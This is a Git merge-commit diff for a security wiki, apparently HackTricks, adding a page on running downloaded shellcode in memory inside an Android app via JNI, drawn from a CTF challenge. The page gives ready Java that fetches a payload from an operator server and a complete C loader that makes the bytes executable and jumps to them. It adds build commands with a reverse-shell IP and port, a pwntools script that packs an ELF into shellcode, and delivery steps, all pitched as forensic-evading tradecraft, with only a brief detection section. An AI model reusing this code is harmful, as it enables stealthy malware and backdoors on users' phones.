Merge pull request #1393 from HackTricks-wiki/update_CoRCTF_2025___CoRPhone__Android_Kernel_Pwn_20250909_011737

CoRCTF 2025 — CoRPhone Android Kernel Pwn
This commit is contained in:
SirBroccoli 2025-09-30 03:39:48 +02:00 committed by GitHub
commit 68770fbcbd
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
5 changed files with 182 additions and 12 deletions

View File

@ -353,6 +353,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

View File

@ -173,7 +173,41 @@ To update pwntools
pwn update
```
## ELF → raw shellcode packaging (loader_append)
Pwntools can turn a standalone ELF into a single raw shellcode blob that selfmaps its segments and transfers execution to the original entrypoint. This is ideal for memoryonly loaders (e.g., Android apps invoking JNI to execute downloaded bytes).
Typical pipeline (amd64 example)
1) Build a static, positionindependent payload ELF (musl recommended for portability):
```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
2) Convert ELF → shellcode with pwntools:
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```
3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute inprocess.
Notes
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.
- Keep your payloads code positionindependent and avoid assumptions about process ASLR/NX.
## References
- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -228,6 +228,11 @@ bypass-biometric-authentication-android.md
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
### **Other tricks**
@ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,125 @@
# Android In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.
Why it matters
- Reduces forensic artifacts (no ELF on disk)
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
- Matches tradecraft used by modern malware and red teams
High-level pattern
1) Fetch shellcode bytes in Java/Kotlin
2) Call a native method (JNI) with the byte array
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
Minimal example
Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI side (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
Notes and caveats
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
Packaging ELF → positionindependent shellcode
A robust operator pipeline is to:
- Build your exploit as a static ELF with musl-gcc
- Convert the ELF into a selfloading shellcode blob using pwntools shellcraft.loader_append
Build
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
Transform ELF to raw shellcode (amd64 example)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpyed and executed by the app.
Delivery
- Host sc on an HTTP(S) server you control
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
Validation workflow for kernel payloads
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always revalidate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat
---
### See also: inmemory native code execution via JNI
A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no ondisk ELF). Details and readytouse JNI snippet here:
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
---
### Recent vulnerabilities worth hunting for in APKs
| Year | CVE | Affected library | Notes |
@ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
- SoTap: Lightweight in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}